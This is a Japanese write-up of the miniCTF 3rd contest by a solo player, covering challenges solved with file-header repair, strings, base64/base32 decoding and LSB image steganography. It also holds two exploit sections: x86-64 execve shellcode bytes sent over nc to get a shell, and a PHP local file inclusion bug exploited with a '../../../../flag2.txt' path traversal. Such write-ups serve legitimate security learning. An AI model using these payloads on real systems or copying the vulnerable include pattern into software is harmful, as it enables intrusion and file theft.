miniCTF 3rd Writeup

ソロでチーム"helix"として参加した。1001 点を獲得し、順位は 9 位だった。

00 Welcome

自明

NITAC{sup3r_dup3r_sc0re_serv3r}

01 signature

signatureファイルの中身を確認する。

$ file signature 
signature: ELF (Tru64), unknown class 13

$ xxd signature | head
00000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452  .ELF........IHDR
00000010: 0000 0423 0000 021d 0806 0000 0007 efb7  ...#............
00000020: 2f00 0000 0473 4249 5408 0808 087c 0864  /....sBIT....|.d
00000030: 8800 0000 1974 4558 7453 6f66 7477 6172  .....tEXtSoftwar
00000040: 6500 676e 6f6d 652d 7363 7265 656e 7368  e.gnome-screensh
00000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c  ot...>....IDATx.
00000060: eddd 39b2 eb46 8205 5042 f1b7 2347 a6ca  ..9..F..PB..#G..
00000070: d652 2ab4 2679 b595 72e4 7d4b 0ba8 4db4  .R*.&y..r.}K..M.
00000080: cf36 a427 bd91 c490 7973 3a27 a28c 16fa  .6.'....ys:'....
00000090: f381 891c 2f13 c0f6 cb2f bfdc 6f00 0000  ..../..../..o...

識別子はELFだがIHDRIDATの文字からpngっぽいということで7f45 4c468950 4e47に変えるとフラグが手に入る。

NITAC{dr4win9}

02 shellcode

shellcodeファイルの中身を確認する。

$ file shellcode 
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped

問題名から察したのでhttp://shell-storm.orgからx86-64用のシェルコードを適当に探して投げてみる。

$ (echo -e "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";cat) | nc <url>
I will execute your code instead of you. Give me machine code bytes: ls
flag.txt
redir.sh
shellcode
cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}

フラグが手に入る。

NITAC{I_g4ve_up_cr0ss_comp1ling}

03 wrong copy

programファイルの中身を確認する。

$ file program
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped

とりあえずstringsをかけてみる。

$ strings program
... (省略)
u+UH
NITAC{c0H
py_15_d1H
ff1cul7}
[]A\A]A^A_
... (省略)

それっぽい文字列が見つかるがHが途中に混ざっているので除去するとフラグが手に入る。

NITAC{c0py_15_d1ff1cul7}

08 base64

encoded.txtファイルの中身を確認する。

$ cat encoded.txt
TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K

問題文に従って、デコードする。

$ cat encoded.txt | base64 -d
NITAC{DO_YOU_KNOW_BASE64?}

フラグが得られる。

NITAC{DO_YOU_KNOW_BASE64?}

12 flower

暗号化スクリプトencrypt.pyと、ファイルflower.pngenc_flower.pngが渡される。

encrypt.pyを確認する。

import cv2
import numpy as np

img = cv2.imread('flower.png')

flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))

print(flag)
print(len(flag))

enc_img = []

cnt = 0

for i in img:
    img_line = []
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        r[-1] = flag[cnt]
        g[-1] = flag[cnt + 1]
        b[-1] = flag[cnt + 2]
        cnt += 3
        img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
    enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))

面倒くさかったので、脳死で復号スクリプトを書いた。

import cv2

img = cv2.imread('enc_flower.png')

flag = []

for i in img:
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        flag.append(r[-1])
        flag.append(g[-1])
        flag.append(b[-1])

for i in range(0, len(flag), 8):
    print(chr(int(''.join(flag[i:i+8]), 2)), end='')

実行するとフラグが手に入る。

$ python decrypt.py | less
NITAC{LSB_full_search}^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
lines 1-1/1 (END)

NITAC{LSB_full_search}

15 Teacher's Server

フラグがbase32で暗号化されているとのことなので、Network1.pcapngstringsにかけてみる

$ strings Network1.pcapng
... (省略)
Date: Sat, 28 Dec 2019 07:20:42 GMT
Connection: keep-alive
flag: JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2===
Counters provided by dumpcap

いかにもな文字列を見つけたのでデコードする。

$ echo JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2=== | base32 -d
NITAC{ISAO_IS_MATHEMATICIAN}

フラグが手に入る。

17 Admin Portal 1

Webサイトのソースが渡される。サイトには登録のためのリンクがないが、ソースを読むとregister.phpで受け付けていることがわかるので適当に登録する。その後、サイトからログインするとフラグが表示されている。

NITAC{00f_r3g1str4t10n_st1ll_w0rks}

18 Admin Portal 2

ソースを更に読むと、index.phpに以下のようなコードがあることに気づく。

<?php include("templates/" . $_GET['lang']); ?>

このコードを利用するとlangパラメータの変更で好きなファイルを読むことができる。また問題文より、フラグは/flag2.txtに存在することがわかっている。

そこでlangパラメータに適当な値を入力していくと、../../../../flag2.txtでフラグを手に入れることができた。

NITAC{n0w_u_kn0w_h0w_LFI_w0rks}

JWT auth

メモを取り忘れたので省略。

総括

自明問題しか解けていないように感じた。